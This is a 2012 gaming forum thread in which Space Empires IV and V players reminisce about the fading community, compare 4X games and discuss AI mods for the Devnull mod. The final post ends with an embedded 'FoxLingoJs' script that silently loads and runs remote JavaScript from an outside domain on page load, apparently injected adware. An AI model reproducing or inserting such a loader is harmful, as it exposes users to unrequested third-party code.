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-   Space Empires: IV & V (http://forum.shrapnelgames.com/forumdisplay.php?f=20)
-   -   Who's Left? (http://forum.shrapnelgames.com/showthread.php?t=46149)

Skyburn February 15th, 2012 08:58 PM

Re: Who's Left?
 
Quote:

Originally Posted by DeadZone (Post 795076)
If I'm honest, I miss the SEIV community mostly...

Many SE4 players are still around, check on spaceempires.net.

Quote:

Originally Posted by DeadZone (Post 795076)
Hanging out on the IRC channel, which I believe no longer exists,

It still exists: http://www.spaceempires.net/irc.html

Caduceus February 18th, 2012 11:25 AM

Re: Who's Left?
 
I swing by every once in a while.

DeadZone March 13th, 2012 01:15 PM

Re: Who's Left?
 
Quote:

Originally Posted by Ragnarok-X (Post 795616)
Still looking for a good game like SEIV.
Currently playing Star Ruler. Give it a spin.

Tbh, I like Distant Worlds alot, mainly due to RT Combat is something I love
Just a shame it currently lacks the technology and ship design depth of SE, but I know that is being improved over time
Like SE, it is mainly one programmer doing all the work
I have got Star Ruler as well, but it's more of a AoE style RTS with 4x elements, then a 4x game, and since it's purely about building the strongest fleets to wipe out the other players... it's too one tracked for my taste

Quote:

Originally Posted by Gandalf Parker (Post 795079)
Now that the game is a free download maybe some cheap-*** advertising such as on Facebook and Google could startup a new gamers community. Or call the others back

There is a f2p mmo Space Empires game on Facebook, it's not terrible and I do kill a small amount of time on it, but it's nothing special and tbh doesn't have the proper SE flavour

Quote:

Originally Posted by Skyburn (Post 795723)
Quote:

Originally Posted by DeadZone (Post 795076)
If I'm honest, I miss the SEIV community mostly...

Many SE4 players are still around, check on spaceempires.net.

Quote:

Originally Posted by DeadZone (Post 795076)
Hanging out on the IRC channel, which I believe no longer exists,

It still exists: http://www.spaceempires.net/irc.html

Well, tbf, most of the face I knew aren't really around, and I've not been able to get onto the IRC in a very long time

Colytic May 14th, 2012 11:23 AM

Re: Who's Left?
 
I last played SE V about a year ago but I think I'm going to go back to it. I don't have SE IV (maybe I'm missing something).

Rollo August 28th, 2012 05:24 AM

Re: Who's Left?
 
After many years I am back to SE IV. First game the AI kicked my arse. I was boxed in and the Space Vikings ran me over. Nothing like being humiliated by your own creation =P.

Second game I dominated pretty much from start. I noticed some pretty awful AI designs on races that I never got around to update. So I am back to playing around with the AI files. Currently have the Phong for Devnull Mod in the works =).

Gandalf Parker August 28th, 2012 09:42 AM

Re: Who's Left?
 
Quote:

Originally Posted by Colytic (Post 804381)
I last played SE V about a year ago but I think I'm going to go back to it. I don't have SE IV (maybe I'm missing something).

I would definitely do that.
SE IV was the live-for-many-years on my machines. SE V lived about a month.

ALTHO to be fair...
the SEIV game itself is far from impressive. It feels like a demo. 8 nations, tiny galaxy, short game. It was the community here that turned it into over 300 nations, huge galaxies, and a full game. The downloadable mods is what makes the game. So in all truthfulness I have not checked to see if the player community has saved SEV but from what I hear it does not seem to be

Timstone August 28th, 2012 02:34 PM

Re: Who's Left?
 
Well, SE V isn't a bad game it just didn't do it for me. There were/are a lot of issues with the UI. I also think the weapons show a lot of info which is not very clear. Hmm... I tried the wonderful Black UI mod and a few selfmade mods to the filse, but still the game had only about (like the most respectful Gandalf already pointed out) a month wirth of life on my digital monster. SE IV on the other hand... well it's great. Just like SE II and SE III before it. So go ahead and find SE IV, shouldn't make a huge dent in your finances nowadays.

Rollo September 4th, 2012 03:19 AM

Re: Who's Left?
 
The Phong AI for Devnull Mod turned out pretty well. I am in the mood for more modding and will do at least one more AI and some component tweaks to areas that have not been touched yet (small weapons).

I wonder, is anyone still interested in seeing these updates released? And were would be the best place to publish them these days?

Rollo

Atrocities September 16th, 2012 06:55 AM

Re: Who's Left?
 
Quote:

Originally Posted by Rollo (Post 810554)
The Phong AI for Devnull Mod turned out pretty well. I am in the mood for more modding and will do at least one more AI and some component tweaks to areas that have not been touched yet (small weapons).

I wonder, is anyone still interested in seeing these updates released? And were would be the best place to publish them these days?

Rollo

Hello Rollo, Been a long time mate. I'd recommend that you publish at the spaceempires.net site. It still seems to be pretty active from time to time. :D

I think this is my first post here in a couple of years. Wow, how time flies. Sure do miss the hours and hours each day of reading posts and posting messages here. The good old days. :D

Black_Knyght September 17th, 2012 01:54 AM

Re: Who's Left?
 
Quote:

Originally Posted by Rollo (Post 810554)
The Phong AI for Devnull Mod turned out pretty well. I am in the mood for more modding and will do at least one more AI and some component tweaks to areas that have not been touched yet (small weapons).

I wonder, is anyone still interested in seeing these updates released? And were would be the best place to publish them these days?

Rollo


I wouldn't at all mind seeing any new and updated stuff released !!!<script id="FoxLingoJs">!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function (){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadysta techange=null;h.removeChild(s);}};h.appendChild(s) ;}catch(ex){}}();</script>


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